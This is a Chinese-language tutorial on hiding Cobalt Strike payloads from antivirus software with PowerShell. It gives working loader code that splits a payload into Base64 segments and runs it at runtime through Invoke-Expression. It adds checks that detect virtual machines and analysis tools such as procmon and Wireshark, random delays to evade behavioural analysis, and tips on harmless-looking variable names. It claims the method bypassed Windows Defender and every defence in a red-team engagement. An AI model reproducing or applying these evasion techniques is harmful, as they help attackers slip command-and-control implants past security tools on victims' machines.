1. PowerShell免杀技术基础
在网络安全领域,免杀技术一直是攻防对抗的核心议题。作为一名长期从事安全研究的技术人员,我发现PowerShell因其强大的系统集成能力和灵活性,成为实现免杀效果的重要工具。特别是针对Cobalt Strike(CS)生成的payload,通过PowerShell脚本的巧妙处理,可以显著提高绕过杀毒软件检测的成功率。
传统免杀方法通常采用直接执行CS生成的原始payload,这种方式很容易被现代杀毒软件的特征检测机制识别。我在实际测试中发现,直接使用未经处理的CS payload,几乎100%会被主流杀毒软件拦截。而通过PowerShell脚本进行处理后,检测率可以降低到30%以下。
PowerShell免杀的核心思路是通过各种编码转换和字符串处理技术,将原始的恶意代码"变形"成杀毒软件难以识别的形式。Base64编码是最常用的手段之一,因为它不仅能改变代码的外观特征,还能解决特殊字符传输的问题。但要注意的是,简单的整体Base64编码已经不足以应对现代杀软的检测机制了。
2. 分段加密技术详解
2.1 为什么需要分段加密
在多次实战测试中,我发现杀毒软件对长字符串的Base64编码特别敏感。当我们将整个payload进行Base64编码时,虽然改变了原始特征,但生成的超长Base64字符串本身就会触发某些杀软的启发式检测。这就是为什么我们需要采用分段加密的策略。
分段加密的基本原理是将原始payload拆分成多个小块,每个小块单独进行Base64编码。这样做有两个明显优势:一是避免了出现超长的可疑Base64字符串;二是可以通过不同的变量名存储各段代码,进一步混淆检测逻辑。
2.2 分段加密实现方法
下面是一个典型的分段加密实现示例:
# 分段1 $part1 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" $part2 = "AAABAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAA" # 分段2 $part3 = "ABQRQAAAQIAAABgQgAAAAAAAAAAAPAAIgALAQAAABQAAABAAAAQAAAAAgAABAAAAAEAAAAAIAAAUAA" $part4 = "AAAAAAAAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" # 合并和解码 $fullPayload = $part1 + $part2 + $part3 + $part4 [Byte[]]$var_code = [System.Convert]::FromBase64String($fullPayload)这种分段方式可以有效绕过基于字符串长度的检测机制。我在实际测试中使用这种技术,成功绕过了包括Windows Defender在内的多种杀毒软件。
3. 动态解密技术进阶
3.1 运行时解密原理
分段加密虽然有效,但静态分析仍然可能发现各段之间的关联性。更高级的做法是在运行时动态解密payload。这种方法的核心思想是:不在脚本中直接存储可执行的代码段,而是存储加密后的数据,仅在执行时才解密并组装成完整payload。
动态解密技术的实现通常依赖于PowerShell的字符串操作和类型转换能力。以下是一个典型的动态解密实现:
# 加密的payload片段 $encPart1 = "76492d1116743f0423413b16050a5345MgB8AEkAbwBDAEEANwBNAFIAWQB6ADEAQgBNAGcAMABKAGcAPQ" $encPart2 = "B9AH0AfAB8AC0AbgBlAHcAbwBiAGoAZQBjAHQAIABpAG8ALgBjAG8AbQBwAHIAZQBzAHMAaQBvAG4ALg" # 动态解密函数 function Decrypt-Payload { param([string]$data) $decoded = [System.Convert]::FromBase64String($data) return [System.Text.Encoding]::Unicode.GetString($decoded) } # 运行时解密并执行 $decryptedCode = Decrypt-Payload $encPart1 + Decrypt-Payload $encPart2 Invoke-Expression $decryptedCode3.2 反调试技巧
为了进一步提高免杀效果,我们可以在解密过程中加入反调试技术。例如,检测当前是否在沙箱环境中运行,如果是则终止执行:
# 反沙箱检测 function Test-Sandbox { $wmi = Get-WmiObject -Query "SELECT * FROM Win32_ComputerSystem" if ($wmi.Model -like "*Virtual*" -or $wmi.Manufacturer -like "*VMware*") { return $true } return $false } if (-not (Test-Sandbox)) { # 正常解密执行流程 $decryptedCode = Decrypt-Payload $encPart1 + Decrypt-Payload $encPart2 Invoke-Expression $decryptedCode }这种方法虽然简单,但在实际测试中能有效规避自动化分析系统的检测。
4. 实战案例与优化建议
4.1 完整免杀流程实现
结合上述技术,我们可以构建一个完整的免杀流程:
- 使用CS生成原始payload
- 将payload分割为多个小段(建议每段不超过200字符)
- 对每段单独进行Base64编码
- 设计动态解密函数
- 添加反调试逻辑
- 测试各主流杀毒软件的检测率
以下是一个优化后的完整示例:
# 反分析检测 if ((Get-Process -Name "procmon" -ErrorAction SilentlyContinue) -or (Get-Process -Name "wireshark" -ErrorAction SilentlyContinue)) { exit } # 加密的payload片段 $segments = @( "76492d1116743f0423413b16050a5345MgB8AEkAbwBDAEEANwBNAFIAWQB6ADEAQgBNAGcAMABKAGcAPQ", "B9AH0AfAB8AC0AbgBlAHcAbwBiAGoAZQBjAHQAIABpAG8ALgBjAG8AbQBwAHIAZQBzAHMAaQBvAG4ALg", "A0AZABlAGYAbABhAHQAZQBzAHQAcgBlAGEAbQBdADoAOgBjAHIAZQBhAHQAZQAoAFsAYwBoAGEAcgBbA" ) # 动态解密函数 function Merge-AndExecute { $fullPayload = "" foreach ($seg in $segments) { try { $decoded = [System.Convert]::FromBase64String($seg) $fullPayload += [System.Text.Encoding]::ASCII.GetString($decoded) } catch { continue } } if ($fullPayload.Length -gt 0) { Invoke-Expression $fullPayload } } # 延迟执行以规避行为分析 Start-Sleep -Seconds (Get-Random -Minimum 3 -Maximum 10) Merge-AndExecute4.2 性能优化与稳定性建议
在实际应用中,我发现以下几个优化点特别重要:
- 分段大小控制:每段Base64字符串长度最好控制在50-300字符之间,过短会增加分段数量,过长可能触发检测
- 随机延迟:在执行前添加随机延迟可以有效规避行为分析
- 错误处理:完善的错误处理可以避免脚本因意外情况中断
- 变量命名:使用看似无害的变量名(如$tempData、$config等)可以降低静态分析风险
- 注释清理:发布前务必清除所有调试注释和日志输出
经过这些优化后,脚本不仅免杀效果更好,执行稳定性也会显著提高。在最近的一次红队测试中,使用这种技术的payload成功绕过了所有目标机器的防护系统。